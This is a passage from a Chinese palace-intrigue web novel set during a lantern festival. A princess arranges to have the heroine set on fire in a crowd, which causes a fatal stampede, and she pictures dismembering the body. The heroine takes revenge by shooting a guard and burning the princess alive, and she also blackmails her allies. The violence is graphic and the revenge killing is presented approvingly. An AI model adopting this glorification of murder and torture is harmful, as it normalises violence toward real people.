说完又觉得这一副从虎狼窝里劫后余生的语气不太对,关万海又道:“马上要十五了,大小姐可要随我们一块回关家过节?”
晏逐星摇了摇头:“不,我不去。但我有事要你们帮忙。”
关万海夫妇对视一眼,都看到了彼此眼里的挣扎。
晏逐星开口,他们哪有拒绝的份。
“大小姐请讲。”他们认命地低下了头。
“待你们回了通州,替我暗中留意那些身怀六甲却又无力抚养的妇人。若她们生下后无意抚育,只管传信于我,将情况告知,若有我需要的人,我自会派人去接手。”
晏逐星一句话让两人震惊了。
小姑娘还没及笄,就已经考虑养孩子了?
“此事需要暗中秘密行动。你们若敢泄密,那我便将你们诬告温如霜的事情告诉温家人。”晏逐星不轻不重地一句话立刻打消了两人继续打探的念头。
定远侯他们惹不起,眼前的“女儿”他们更惹不起。
还是老老实实听话办事吧。
“是,大小姐放心,此事我们一定会替您办好。”关万海垂头丧气地回应。
他们一开始听定远侯的假冒晏逐星生身父母就错了。
但如今一步错,步步错,再也没有回头路。
晏逐星给了双鲤一个眼神,让她将这些时日从定远侯那边薅回来的银票都给了关万海夫妇。
“关老板费心了。”
关万海夫妇看着眼前的银票,瞪圆了眼睛。
没想到晏逐星竟然给了他们一千两银票!
“大小姐,这怎么使得?!”关万海吓了一跳,连连摆手推拒,但眼睛却怎么也离不开那一叠银票。
好心痛,好想要,但不敢。
谁知道晏逐星会不会像定远侯一样翻脸不认人。
“陈三妹那边,关老板也别忘了。早一点找到她,流光缎就能早一点产出来。”晏逐星提醒。
关万海眼里露出了一抹焦虑:“已经派人去找了,就是不知道什么时候能找到。不过估摸着二月的时候就会有消息传回来了。”
“嗯,毕竟找人和试错都需要银子,哪能让关老板独自破费。这银票,你就收下吧。”晏逐星将银票直接塞到了他们手里。
关万海脸上堆起一抹笑,拍着胸脯道:“那我就却之不恭了,多谢大小姐。”
他先前的烦闷顿时一扫而空。
给大小姐办事比给定远侯办事幸福多了。
*
衔蝉回了永安王府,照夜第一时间出来见她。
得知有人在晏逐星宅子前盯梢,他当即将此事汇报上去。
谢翊宁亲自见了衔蝉。
“九栀说那些人是大长公主府的。他们只是盯着小姐的行踪,什么也没做。”衔蝉将所有的事情,事无巨细地汇报了一遍。
谢翊宁当下的想法和晏逐星一样。
他那位好姑母恐怕是因为上回在太后宫里的事情,记恨了他而又不敢对他动手,所以欺软怕硬盯上了晏逐星。
“多派些人手护着她,然后不用动,盯着他们,看看他们究竟想做什么。查清他们从什么时候开始盯着她的,之前都见过什么人。”谢翊宁吩咐了下去。
“是。”停云和照夜应下,立刻行动了起来。
衔蝉老实地站在原地等候王爷的吩咐。
谢翊宁将皇后赏赐的糕点全都命人装给了衔蝉打包带走。
“告诉她,有本王在,无需担忧,此事不会有人能伤她半分。若是觉得烦闷,吃些点心就是。”
“多谢王爷赏。”衔蝉高高兴兴地拿着点心盒回了晏宅。
盯着他们的公主府下人瞧见衔蝉去了王府又回来,赶忙将此事告知了主子福安郡主。
“那狐狸精竟同时攀扯上裴大人和七表哥了?”
福安郡主眉头紧皱。
她不由有些好奇,晏逐星究竟生得什么模样,怎么能让两人都对她另眼相待。
“她很美么?生的什么模样?本郡主怎么一点印象也没有。”福安郡主看向了身边的丫鬟。
汀兰听她这语气,便知道她如今很不高兴,斟酌着小心翼翼地回答道:“郡主,您见过她的呀。”
“什么时候?”福安郡主有些茫然。
定远侯府的那点破事,她也有所耳闻,但她确实没有亲眼见到过她呀。
毕竟那样的蝼蚁,不配出现在她面前。
汀兰不得不提起那日长乐宫之事。
她这么一说,福安郡主总算有印象了。
“竟然是她?”
将晏逐星的脸对上后,那日的屈辱感瞬间涌上心头。
在皇室中人面前丢脸就算了,一个商户女竟然也敢看她笑话。
她对晏逐星彻底起了杀心。
第139章 以身作诱饵
三日后,正月十五,上元佳节。
夜幕降临,京城早已沉浸在一片流光溢彩的灯海之中。
“小姐,咱们真的要出门吗?”双鲤有些犹豫。
虽然她早就期待着出门赏花灯,但如今真要出去了,她又有些害怕。
毕竟大长公主府的人在暗中盯着,不知道会使什么坏呢。
“去啊,你不是早就吵着要赏花灯了吗?”晏逐星刮了刮她的鼻尖。
她也想过要不要一直待在家里,但她总不可能躲一辈子吧。
倒不如以身作诱饵,出门给他们机会让他们下手。
这样永安王逮到他们的恶行,才好名正言顺地收拾他们。
“可是太危险了。和花灯比起来,还是小姐的安危更重要。”双鲤眼里满满都是担忧。
“无需担忧,有永安王在呢。”晏逐星笑着摸了摸她的脑袋。
一旁的衔蝉也跟着点头:“是呀,照夜说了,王爷已经暗中安排了四个护卫跟着小姐,今夜不会出事的。”
听到永安王的名号,双鲤终于放下心来,一行人换了衣裳高高兴兴出门赏灯。
门口盯着的人瞧见他们出门,立刻赶回了公主府汇报。
福安郡主唇角上扬,笑意不达眼底:“走吧,咱们也出门赏灯。”
*
晏逐星与福安郡主出门没多久,定远侯也低调地约上了忠毅伯出门放河灯,美名其曰给儿子祈福。
“他就是个倒霉催的,你跟他一块出门做什么,不嫌晦气?”忠毅伯夫人宁氏听到夫君要和定远侯出门,气得拦住了他。
“你不懂。这时候乃是雪中送炭之际。我是感念鸿升兄一片爱子之心。他连着死了三个孩子,怪可怜的。”忠毅伯面对夫人的怒火不敢说出实话。
他也不想陪定远侯出门的。
可谁让他之前收了定远侯送来的一只蛐蛐,那只蛐蛐让他赢了不少钱。
如今人家只是邀请他一块给死去的孩儿放河灯祈福,他若不去,未免太过凉薄。
“夫人,你放心,放完河灯我就回家,绝不和他呆太久。”忠毅伯赶忙发誓。
“伯爷还没好么?我家侯爷恭候已久。”定远侯身边的长随在门外扬声询问。
“来了来了。”忠毅伯赶忙答应。
宁氏无奈,只得看着他离开了。
忠毅伯上了定远侯的马车,一路上定远侯长吁短叹,哀叹几个孩子亡故之后多么难受,又感慨温如霜不是个东西。
若时光能够倒流,他绝对不会娶温如霜。
温如霜有个当尚书的兄长,忠毅伯也不好说太多,只得含糊地附和说定远侯的几个孩子太可怜了。
终于来到了河边,他原想着点个三盏河灯就差不多了。
不曾想定远侯竟然搬出了好几箱子的河灯,一眼望去,至少有几百盏。
忠毅伯两眼一黑。
这么多盏河灯,盏盏都需要亲手点燃,还要一一念诵祭文,这得耗到几时才能结束啊。
届时,夫人不会疑心他借着陪定远侯放灯的名头溜出去与人厮混了吧?
忠毅伯还在发呆,定远侯已经蹲在河边,哀哀切切地放起了河灯。
定远侯的背影在粼粼水光里看起来显得有些孤寂,忠毅伯也不好再说什么,只得硬着头皮陪他一块点燃了河灯。
一盏、两盏、三盏……
一盏接一盏河灯放入水里,定远侯口中念念有词,看起来很是专注。
可他的目光总会借着俯身放灯的间隙,状似无意地飞快扫过下游不远处那座青石拱桥。
他在等骆文缨出现。
终于,在忠毅伯放灯放得眼皮发沉、几乎要打起哈欠时,下游那座青石拱桥上,定远侯期盼已久的身影终于出现了。
他立刻不动声色地深吸一口气,酝酿情绪。
恰巧手边一盏河灯的灯芯“噼啪”轻响,爆出几点火星。
他立刻像是被烫着似的,夸张地倒抽一口冷气,陡然拔高了声音。
“莫不是明月他们显灵,来看我了?!”
他声音颤抖,眼眶瞬间通红,将手中的灯放下,轻轻拨了一下水面,眼泪啪嗒落下。
“呜呜呜,明月是你回来了吗,爹好想你啊。若是你也在,肯定也很想看这漫天的花灯吧。”
忠毅伯被他这突如其来的眼泪吓了一跳,困意全消,赶忙凑过来笨拙地拍着他的后背安慰道:
“鸿升兄,节哀啊!人死不能复生,咱们活着的人总得朝前看啊。孩子们在天有灵,也必定盼着你能放下悲痛,好好过日子才是!”
定远侯像是被这句话戳中了,哭声更显凄凉绝望,甚至带上了几分自暴自弃的意味:
“朝前看?望平兄,你说得轻巧!我如今形单影只,府里冷得像冰窖!夜里醒来连个说话的人都没有……孩子们都走了,我这把老骨头还活着做什么?”
忠毅伯听着这话心里直犯嘀咕:不是前两个月才纳了个美妾么,怎么就形单影只了。
他还没想好怎么回应,就看见定远侯用力捶了下自己的胸口,哭得更厉害了。
“望平兄家有贤妻,儿女承欢膝下,日子过得和和美美。你哪里懂得我这鳏夫的苦楚?我这辈子怕是再也娶不着妻子,也就这样了!”
忠毅伯想到自己家中确实温暖,定远侯又真的连死了三个孩子,他在他面前真情流露、涕泪横流,他怎么还能那样想他呢。
妾侍和夫人那自是不同的。
他心中愧疚同情之心大起。
他拍着定远侯的背,脱口劝道:“鸿升兄何出此言!你正值壮年,何愁找不到良配续弦?逝者已矣,你也该为自己打算,寻一位知冷知热的夫人,开枝散叶啊。”
定远侯等的就是这句“续弦”。
他哭声戛然而止,像是被忠毅伯的话点醒了。
他猛地抬起头,双手紧紧抓住忠毅伯的手臂,激动道:
“续弦?望平兄说得对!我不能再这样下去了,我得找一个知冷知热的贴心人共度余生才是。”
他喘了口气,手指精准地指向了桥头的骆文缨。
“望平兄可知桥头那位姑娘是谁家的小姐?方才惊鸿一瞥,我的心跳得厉害。若她尚未婚配,我定要登门求娶!这位姑娘这个时候出现,定是孩子们在天之灵,怜我孤苦,为我挑选的良配啊。”
第140章 裴明镜求签
忠毅伯顺着他指的方向看过去,正好瞧见了骆文缨。
她身旁不远处是烈国公夫人和尉迟敦。
忠毅伯一下就认出来了,脱口而出:“那是骆家姑娘,烈国公的表妹。”
“可曾婚配?”定远侯假装一无所知。
忠毅伯摇了摇头:“不曾。听说当初是和霍将军的长子定了娃娃亲,只可惜那是个福薄的,早早就没了。她为了霍家那位守身如玉至今未嫁。”
“这位骆姑娘真是情深义重之人啊,谁能娶了她,真是三辈子修来的福气。”定远侯称赞完之后,又露出了一抹失落的神情。
“她这般好,我岂不是没机会了?”
忠毅伯忙道:“那也未必。你这些日子不出府,想必不知道她的事情。烈国公一家一直在帮她相看呢。听说那骆姑娘的母亲快死了,临终心愿就是看她嫁人。”
“只是烈国公他们眼光高,一直没找到合适的。”
“那你说,我若求娶能行么?”定远侯流露出了一抹脆弱。
“罢了,定是不成的。我这样活着也没什么意思,不如随孩子们去了吧。”
说着他就要往河里走。
忠毅伯赶忙拉住他。
定远侯今夜可不能死啊。
若他死了,最后和他待在一起的他不就成了嫌疑人了么。
他看了一眼定远侯,又看了一眼骆文缨,看在那只蛐蛐的份上,猛地一拍大腿,咬牙道:“我觉得你们还挺般配的。你若求娶,还是很有希望的。大不了,我请母亲替你去说媒。”
“此言当真?”定远侯立刻停住了脚步。
大冬天的,若是衣裳鞋子湿了水,那可是冰寒刺骨的。
“千真万确!”忠毅伯忙不迭点头,随后又想起了晏逐星。
“对了,你那个养女不是得了他们青睐么,有这层关系在,你求娶骆文缨,指定能成。”
“望平兄言之有理,那就有劳令堂替我说媒了。”定远侯趁机将此事落实。
忠毅伯点点头,而后总觉得有哪里不太对劲。
没等他细想,就又被定远侯拉着继续放河灯了。
他们放的河灯数量众多,自然也引来了不少人的旁观,忠毅伯便负责解释。
定远侯这是为他去世的三个孩子放的河灯。
不少人见他这副悲伤的模样,对他多了几分同情。
而立之年,却家破人亡,实在是惨呐。
听到有人感慨他惨,定远侯忙起身道:“做人要朝前看,比起很多人来说,我已经算幸运了,先前小女显灵,又有望平兄的劝说,我如今已经看开了很多。”
“望平兄,我的终身大事可就靠你了!”他拍了拍忠毅伯的肩膀,这句话掷地有声。
说完继续蹲着放河灯去了。
路过的人大着胆子问显灵是怎么一回事,忠毅伯不得不把刚刚的事情说了出来。
一传十十传百,不一会儿许多人就知道定远侯在放河灯时,逝去的孩子显灵了,替他选了未来的夫人。
忠毅伯还要帮着说媒呢。
忠毅伯:……
他感觉他好像被定远侯摆了一道?
*
晏逐星领着双鲤一行人出门赏花灯。
街道上人潮拥挤,今日来看花灯的人实在是太多了。
四面八方都是攒动的人头和斑斓的光影。
晏逐星几人一路赏灯,走着走着就被不远处临仙楼门前那座巨大的“八仙过海”走马灯棚牢牢吸引了注意力。
那灯棚足有两层楼高,彩绸环绕,灯影流转间,八位神仙栩栩如生,引得围观的人越来越多。
眼看越来越挤,晏逐星微微皱眉。
这么多人,不会出事吧。
她想了想还是放弃了,打算绕道去看别的灯。
没想到,刚一转身就遇到了裴明镜。
“大小姐,真巧啊。”裴明镜一怔,没想到遇见的竟是晏逐星。
他不动声色地扫了一眼她身边的人,只有丫鬟和护卫,没有永安王。
上元佳节,永安王竟然不邀她出来看灯么。
“是挺巧的,裴大人。京城这么大,来看个灯咱们也能遇上。”晏逐星赞同地点了点头。
裴明镜看着她的眼眸,一时间,思绪如潮翻涌。
母亲今日逼他邀福安郡主共赏灯会。
虽那日已应下婚事,心底对与郡主独处,却总横亘着一丝说不清道不明的抗拒。
因而他拒绝了母亲。
“你若想我乖乖成婚,就不要再逼我做无谓的事情。”
一句话便让母亲噤了声,不敢再提。
他不爱人多的地方,本不欲出门。
但想到晏逐星向来爱热闹,或许会出现在灯会上。
等他回过神来,人已经出了府。
街道上人潮汹涌,他有些后悔想打道回府,结果在拐角处避让不及撞上了一方简陋的卦摊。
摊主是个须发皆白的老道,摊子被撞翻,他非但不恼,反而笑眯眯地说他们有缘,让他求支签。
裴明镜对这些装神弄鬼的门道并不相信。
但不知为何,在那老道的注视下竟神差鬼使地伸出手,还是抽了一支签。
“镜里观花终是幻,水中捉月总成空。莫恋眼前虚华色,流云散尽见真容。”
裴明镜看着签文,心头莫名一跳。
老道将签接过,笑道:“公子,此签主‘缘’之一字,却非你心头所想之缘。所求非人,如揽镜花水月,纵有华彩,亦是空忙一场,终非良配。”
他顿了顿,目光似无意般掠过裴明镜身后川流不息的人群,意有所指道:
“然天道有常,破妄即见真。”
“公子且看,待此间浮华过眼,自有柔光初现,佳期可待。你的有缘人已在咫尺之遥,下一刻相逢,便是云开雾散,真颜显露之时。”
裴明镜给了他一两银子,并未将此虚言放在心上。
不曾想,却在下一刻遇见了晏逐星。
……
见裴明镜没有回应她的话,晏逐星觉得自讨没趣,她不过是客气寒暄罢了。
裴明镜不想搭理她干嘛还先跟她打招呼,直接假装没看到不就行了。
她正要走,没想到裴明镜却叫住了她:“大小姐,等等。既然这么巧……”
“确实巧!”
一个声音响起,打断了他的话。
第141章 她才是正缘
两人同时扭头看去,竟是福安郡主。
福安郡主露出一副人畜无害的笑容:“裴大人,晏姑娘,今日上元节,你们一块赏花灯么?”
裴明镜眉头皱起,福安郡主这话让旁人听了去,会以为他和晏逐星有私情。
届时会影响她的名声。
他断然否认:“我与晏姑娘不过是凑巧碰上罢了。”
“窦夫人先前还特意打趣着让裴大人陪我去看灯,我本无意出门的,谁知竟在这大街上遇见了裴大人。”
“既是如此,”福安郡主眸光微动,主动相邀,“不如咱们一同赏灯?”
她早就知道裴明镜要出来,因而特意买通了一个老道拦住裴明镜。
让老道借着签文告诫裴明镜。
他心中所想的“缘”都是虚妄,不过是水中月、镜中花罢了。
而她李柔嘉才是他的正缘。
按照计划,她会在拐角处遇上裴明镜,应验那老道士的话。
不曾想先前一群刁民抢着看花灯拦住了她的路,耽误了片刻的功夫,裴明镜竟然就遇上了晏逐星。
这个晏逐星,果然是她的克星。
晏逐星听完她的话,心中猛地闪过一个念头。
窦淑容在撮合裴明镜和福安郡主,那么大长公主府监视她,莫非不是因为长乐宫的事,而是因为裴明镜?
毕竟窦淑容对她一直很有敌意。
她果断表明态度:“既是如此,我就不打扰二位了。你们慢慢赏灯。”
“赏灯要热闹,不如晏姑娘……”裴明镜挽留的话还没说完。
停云就不知道从哪个角落里钻了出来打断了他。
“晏大小姐,我家王爷捡到你走丢的小丫鬟了,让您去领人。”
晏逐星一惊,这才发现身旁的双鲤不知道什么时候不见了。
停云指了指临仙楼最顶上那层的雅间。
被迫走丢的双鲤探出脑袋,冲晏逐星挥了挥手。
晏逐星松了一口气,冲她点了点头。
双鲤挥完手,撤回了屋内,垮着一张脸看向照夜,小声嘀咕:“侍卫大哥,下回让我来这么好的地方赏灯能不能好好说,不要直接把我拎走。我还以为遇上劫匪差点就大喊救命了呢。”
照夜面无表情。
没办法,王爷见裴大人出现就催他快点,他只能事急从权了。
见他不搭理自己,双鲤气鼓鼓地瞪了他一眼:“嘁,这么粗鲁,衔蝉姐姐才不会喜欢你呢。”
“你说什么?”照夜一听这话,原本毫无表情的脸瞬间变得精彩纷呈。
“你怎么知道衔蝉姑娘不喜欢我?”
“不对,你怎么知道我喜欢衔蝉姑娘?”
“不,姑娘,先前是在下鲁莽,还请姑娘原谅。”
“你能不能跟我说说,衔蝉姑娘会喜欢什么样的男子?”
涉及心仪的姑娘,照夜的脑子立刻变得灵活了。
这下轮到双鲤面无表情了。
距离有些远,晏逐星听不清双鲤说了什么,但看她挥手那个孔武有力的劲,就知道她肯定没吃什么亏,也就放心了。
她冲停云点了点头:“好,我随你去见王爷。”
而后扭头看向了裴明镜和福安郡主。
“裴大人,福安郡主,我的丫鬟还在等我呢,我先走了。”
福安郡主唇角勾起一抹淡淡的笑:“临仙楼人多,晏姑娘注意安全。”
“多谢郡主关心。”晏逐星顿时升起了警惕心。
福安郡主不可能这么好心地提醒她。
她跟着停云往外走。
停云原本要带她绕小路直抵临仙楼。
奈何临仙楼这灯棚吸引了众多百姓,原本的路被堵得水泄不通,小路也已经挤满了人。
这时,一个端着热气腾腾汤碗的老婆婆似乎被人狠狠绊了一下,脚下一个趔趄,整个人带着那碗滚烫的汤水直直朝晏逐星撞去。
“小姐当心!”身侧的衔蝉惊呼出声。
晏逐星下意识侧身想躲,但人群太挤,避无可避。
滚烫的汤汁大半泼在了她袖口与斗篷下摆处,油腻湿滑一片,引来周围一片惊呼和抱怨。
“对不住!对不住!人太挤了!实在对不住!”那老婆婆连连道歉,手忙脚乱地似乎想帮晏逐星擦拭,油腻腻的手在她袖口和下摆快速抹了几下。
混乱中,谁也没注意到她指尖沾染了别的东西。
一股极其微弱、刺鼻的古怪气味钻入晏逐星鼻腔,但瞬间被浓烈的汤油味、汗味和周边糖炒栗子的甜香所冲散。
晏逐星眉头微蹙,那股转瞬即逝的怪味让她心头掠过一丝不适。
见那老婆婆要退走,晏逐星却一把抓住了她的胳膊。
她不能放过任何可疑的人。
老婆婆被她一抓,惊得连连作揖求饶:“贵人,我不是故意的,我三岁的孙儿等我归家呢。您饶了我这一回吧。”
“婆婆言重了。汤撒了是我的不是,该赔您一份。省得你两手空空回家,你的孙儿失望。”晏逐星的手死死抓住她的胳膊不放,脸上的笑容却十分和善。
老婆婆听到这话,没有喜只有惊,她连连摆手:“我冒犯在先,怎敢劳烦贵人。”
“我家小姐最是心善,老婆婆您就放心跟我们走吧。”九栀也看出了这个老婆婆的不对劲,伸手扣住了她另一只胳膊。
“腊八那日,我家小姐还在城外施粥呢,你打听打听,谁不夸她一句活菩萨。”
老婆婆眼神下意识往东边一瞟,脸色变了又变,随即堆起笑容:“那老婆子真是撞大运了,多谢贵人恩典!”
就在他们转身要走的瞬间。
“哗啦啦!”
东边一个卖小灯笼的小摊似乎被挤倒了,花灯倾泻滚落一地。
有花灯被引燃,人群顿时发出一阵剧烈的推搡骚动。
晏逐星等人也被波及了。
混乱中,一个身形瘦小的妇人好心伸手扶了晏逐星一把:“姑娘当心!”
那妇人的手借着搀扶的力道,将细微的白色粉末精准撒在了晏逐星浸透油汤的袖口上。
粉末沾上的同时,妇人撒手撤退。
“刺啦。”
一声轻微却令人毛骨悚然的声音响起,紧接着一抹青绿色的火焰毫无征兆的从晏逐星袖口窜了起来。
第142章 晏逐星尸体
那火焰颜色诡异妖冶,一看就知绝非寻常烛火,燃烧速度更是快得让人反应不过来。
伴随着浓密呛人的白烟,火焰瞬间沿着晏逐星身上的油污疯狂蔓延。
“火!着火了!”
“是鬼火!”
“天啊!快闪开!”
“救命啊!!!有鬼来了!”
灯棚下密集的人群瞬间炸开了锅,四下奔逃,场面一片混乱。
那妇人和老婆婆趁乱要跑,但他们低估了晏逐星的反应速度。
“拿下他们。”
皮肤灼痛钻心,晏逐星厉声下令,心却沉了下去。
福安郡主竟恶毒至此,不惜拉上满街百姓给她陪葬。
停云听令,果断扣住了想要逃走的瘦小妇人,利落地卸掉了她的下巴,将她和老婆子一同塞到九栀手里。
“看好他们。”
随即拔剑护在晏逐星身前,劈开汹涌人潮。
混乱中,衔蝉被冲开。
衔蝉略一思索,收回想要折返的脚步,逆着人流奋力挤向临仙楼。
先前那情况,小姐定然受了伤,必须请季太医不可,她得去找王爷。
几乎同时,楼上数道黑影飞掠而下,正是永安王暗中下令保护晏逐星的护卫。
他们拔剑出鞘,寒光闪烁间,人墙合围,将晏逐星护在中心,隔绝了冲撞。
晏逐星迅速甩脱燃烧的斗篷,但裙摆和裙子却是不好撕扯。
晏逐星目光扫过混乱的人潮,发现旁边一个粗布汉子肩上搭着的厚重羊毛斗篷。
没有丝毫犹豫,她猛地探出手,一把将那还带着体温的斗篷拽到手中。
“他娘的,抢老子的东西你找死啊。”
在汉子惊愕的叫骂声中,她不顾滚烫的火焰燎手,咬牙将燃烧的裙角和上衣死死裹进厚实的羊毛里。
火焰在厚实的羊毛下疯狂扭动,发出“滋滋”的响声。
浓烈刺鼻的焦糊味和怪味瞬间弥漫开来。
停云几人的心都悬了起来。
大小姐,不会出事吧?
*
福安郡主和裴明镜并肩而行,两人往另一条人少一些的街道走去。
这里的花灯普普通通,因而观赏的人便少了许多。
裴明镜沉默不语,他也不知道自己刚刚怎么的,竟然鬼使神差地想叫上晏逐星一块赏灯。
这样他们三人一同赏灯,至少比他单独和福安郡主赏灯的强。
见他迟迟不说话,福安郡主也不着急,她在心中默默盘算着待会怎么处理晏逐星的尸体。
等她赏完了花灯,晏逐星的皮肉肯定烧焦了,说不定都成炭了。
届时她将尸体带走。
她要沿着烧焦的皮肉缝隙,用刀慢慢割开,把骨头一块一块拆出来。
把肋骨磨尖,正好做几根剔狗牙的签子;
腿骨够粗,劈开之后能刻几个骰子玩;
掌骨做成个铃铛坠子,就挂在屋檐下,风吹起来叮当响,多有意思;
碎骨头渣子也不能扔,磨成粉撒在花盆里,花儿必定会养得更加艳丽;
唔,对了,头盖骨得整个取下来,磨光滑了送去给永安王的猫当食盆,这就叫物尽其用。
想到永安王那只挠了她的猫,福安郡主脸色一沉。
那只畜生,她迟早要扒了它的皮。
“花灯已赏完,裴某要归家了,郡主自便。”走到花灯巷道的尽头,裴明镜终于开口了。
福安郡主都要被他这话给气笑了。
合着将有灯的地方走完,就算赏完灯了?
但她不能把心里话说出来。
“天色已晚,裴大人能不能送我回家?我害怕。”福安郡主怯生生地看着他,一副我见犹怜的模样。
她很清楚自己这副姿态的杀伤力。
从小到大,只要她露出这副表情,那些京城的公子哥们都会乖乖地听她调遣。
没有人能拒绝她。
没想到裴明镜却指着她身后的四个护卫道:“郡主的护卫难不成是摆设么?”
“郡主若是害怕的话,裴某明日便建议大长公主给您再多加几个护卫。”
福安郡主:……
裴明镜好好的一个人,怎么就长了这么一张嘴呢。
就在她沉默的间隙,裴明镜的下属郑晗跌跌撞撞地冲了过来,脸色煞白,胸膛剧烈起伏,几乎说不出完整的话:
“大、大人!临仙楼出大事了!”
裴明镜心头猛地一沉,眼神瞬间锐利如刀:“何事惊慌?!”
临仙楼周遭人潮汹涌,若生变故,后果不堪设想。
郑晗狠狠喘了口气,声音带着惊惶的嘶哑:“有人身上突然窜起邪火。百姓受惊四下疯逃,推挤踩踏,已伤了好些人,还踩死了几个。”
裴明镜眉头皱得紧紧的,顾不得跟福安郡主道别,立刻跟着郑晗大步流星地赶了过去。
上元佳节发生这样惨烈之事,东城兵马司的人都头痛不已。
除了要安置遇害的百姓,还要应付永安王这个难缠的主。
好在很快救星就来了。
看到裴明镜,东城兵马司指挥使立刻拱手道:“王爷,既然此事是有人恶意纵火,那就该交给京兆府来调查才是。我等去疏散百姓了。”
谢翊宁面沉如水,周身气压低得骇人。
他承诺过晏逐星,她今日想出来玩就出来玩,他定能护她周全。
谁曾想福安郡主竟然无法无天到这个程度,竟然当街纵火想把晏逐星给活活烧死。
若非晏逐星机警,当机立断扯了羊毛斗篷自救,现在恐怕已经被烧成焦炭了。
他的承诺成了空话。
汹涌的愧疚与自责弥漫上心头,谢翊宁攥紧了拳头。
“李柔嘉呢?”
听到这个名字,裴明镜愣了片刻才反应过来他说的是福安郡主。
他不知道永安王为何会忽然提起福安郡主,皱眉道:“下官得知临仙楼出事了,就先赶过来了,郡主应当回公主府了吧。”
“回府了啊。”
谢翊宁拉长了音调,眼眸闪过一丝冷意。
虽然对晏逐星下手的两人身份撇得很干净,看似与大长公主府没有任何关联,但他心知肚明,此事一定跟他们脱不开干系。
对他的小恩人下了手,竟然就这样走了?
“呵。”
谢翊宁轻笑一声。
他们不仁不义在先,那就别怪他以牙还牙了。
裴明镜沉声道:“王爷,敢问晏大小姐如何了?”
赶来的途中,从郑晗口中得知身上忽然起火的人是晏逐星,他便慌了神,下意识地加快了步伐。
问郑晗晏逐星伤势如何,他也说不清楚。
永安王更是一来就问他福安郡主的事,半句不提晏逐星,情急之下他只得开口询问了。
第143章 当夜杀郡主
“受了重伤,本王已经命季太医为她会诊。不劳裴大人费心。”谢翊宁看他的眼神多了一抹审视。
晏逐星先前告诉他,裴明镜正在和福安郡主议亲。
那么今日他遇上晏逐星,是无心偶遇还是刻意而为?
听到“受了重伤”,裴明镜心头一紧。
“行凶之人所在何处?”他声音中多了一丝冷肃。
“这两人都有嫌疑,还请裴大人好好审,撬出指使他们的幕后之人。”谢翊宁不客气地将已经那两人交给了他。
“王爷放心,下官不会放过任何一个恶人。”裴明镜面无表情地命人将那妇人和老婆子带走。
谢翊宁留了人在现场帮忙救治那些因为拥挤推搡而被踩伤的百姓,自己先一步离开了。
裴明镜拾起晏逐星留下的斗篷,指尖触到的尽是几乎不成形状的焦黑残片。
他心口猛地一坠。
斗篷都烧成了这样,当时的火得多烈。
她一定很痛。
永安王说她受了重伤,究竟得有多重?
他一定要将幕后真凶找出来,还她一个公道。
*
此刻“重伤”的晏逐星正蹲守在福安郡主回府的路上。
“小姐,您当真没事么?”九栀忧心忡忡地看着晏逐星。
“小伤,无妨。”晏逐星冷冷地盯着缓缓而来的马车。
她虽然及时将火灭掉了,但胳膊上还是被烫出了水泡,好在季太医处理及时,不会留下疤痕。
但胳膊上火辣辣的疼痛还是在随时随地提醒她,今夜她差点死了。
重生回来,她没死在定远侯府,反倒差点死在了大街上。
这个仇,她一定要报,而且今晚就得报。
否则等裴明镜那边查出来事情是福安郡主所为,之后福安郡主再出事,她很容易被当做怀疑对象。
而今日,所有人都看到了季太医去晏宅为她诊治,她已经睡下。
谁也不会想到她会出现在福安郡主回府的必经之路上。
多亏了福安郡主的自以为是,命人动手后没有马上回公主府,反而悠哉游哉地赏了花灯。
得知她死里逃生后,还去太白楼用了膳,而后又去了金水河上游船,玩到这个时间才回府。
不然她现在也蹲不到她。
“引开人,靠你了。”晏逐星拍了拍九栀的肩膀。
“小姐放心,我别的不擅长,逃跑还是很擅长的。”九栀莞尔一笑。
晏逐星勾起唇角,瞄准了福安郡主的马。
拉弓,搭弦,箭出。
箭镞瞬间没入大半,马儿的四蹄一软,轰然向前栽倒,连嘶鸣声都没来得及发出。
马夫一惊,滚落在地。
车里的福安郡主被这突如其来的变故撞得头上的珠钗全歪了。
“什么人?”
“有刺客!”
福安郡主的声音和护卫的声音同时响起。
这时,晏逐星的第二箭也到了。
这一箭,射在了护卫的脖颈处。
一箭穿喉。
护卫直挺挺地倒下。
“在那!”护卫指向了晏逐星所在的方向。
这时,九栀动了。
“别让他跑了,快追!”
其中一个护卫当即追了上去,九栀不过虚晃一枪,跟他过了两招就撤。
护卫紧追不舍。
若今日捉不到刺客,大长公主定然不会放过他们。
马夫惊得腿软,连滚带爬地跑了。
剩下两个护卫赶忙搀扶着福安郡主从马车里出来。
但福安郡主先前被马车突如其来的颠簸撞到了脑袋,如今晕晕乎乎的,根本走不动。
护卫甲只得将她背了起来,护卫乙拔刀警惕地看着四周。
明枪易躲暗箭难防。
若先前那人还有同伙可就糟糕了。
晏逐星发现先前包扎的伤口已经渗出了血,疼痛让她清醒了几分。
今夜,福安郡主必须死。
看见护卫朝着她预想的方向跑,晏逐星松了一口气。
那是距离公主府最近的路,护卫为了快点护送福安郡主回府,一定会走那条小路。
背着福安郡主夺路狂奔的护卫,全部心神都放在身后不知道什么时候会冒出来的追兵上,压根没留意前方不远处一根近乎与灰暗地面融为一体的麻绳。
麻绳离地不过半尺高,横亘在小路中央。
护卫狂奔的脚踝猛地撞上,他根本来不及做出任何反应,整个人连同背上的福安郡主狠狠甩飞了出去。
“啊——”
福安郡主发出了惨叫。
她感觉自己脸擦到了地上火辣辣的疼。
先前堆好的竹竿被他们撞上哗啦啦地落了一地,将本就是惊弓之鸟的福安郡主和护卫都吓了一大跳。
他们想要爬起来,却发现脚下黏糊糊的,像是被什么油汪汪的东西沾上了。
晏逐星的第三箭射出。
这一次,是火箭。
火星子落在早已倒好的桐油上,那一点微弱的火星瞬间燃烧成了一片烈焰。
烈焰如同活物般从地面猛地窜起,巷道眨眼间变成了一个灼热的、无处可逃的熔炉。
“啊——”
“救我,快救我——”
福安郡主发出了凄惨的叫声。
晏逐星冷眼旁观。
她不是想烧死她么,那就别怪她以其人之道还治其人之身了。
福安郡主出生那年,朝华大长公主嫌恶平民污秽府邸周遭的清净,强令府中下人将附近的百姓都逼去了别处安身。
如今福安郡主求救无门,怎么不算自作孽呢。
公主府内。
临水的戏台上,伶人们咿咿呀呀地唱着戏。
朝华大长公主素不喜外头街市的喧嚣杂乱,为图清净,特意重金请了这顶好的戏班入府献艺。
高墙深院,朱门紧闭,将府外的世界彻底隔绝。
戏班悠扬的曲调和宾客的谈笑碰杯声,严严实实地盖过了两墙之外福安郡主那撕心裂肺的尖叫与绝望的呼救。
直到浓烟的味道穿透院墙,紧接着,是越来越清晰噼啪作响的爆裂声,以及隐约传来的惊恐的人声。
“殿下!殿下!”
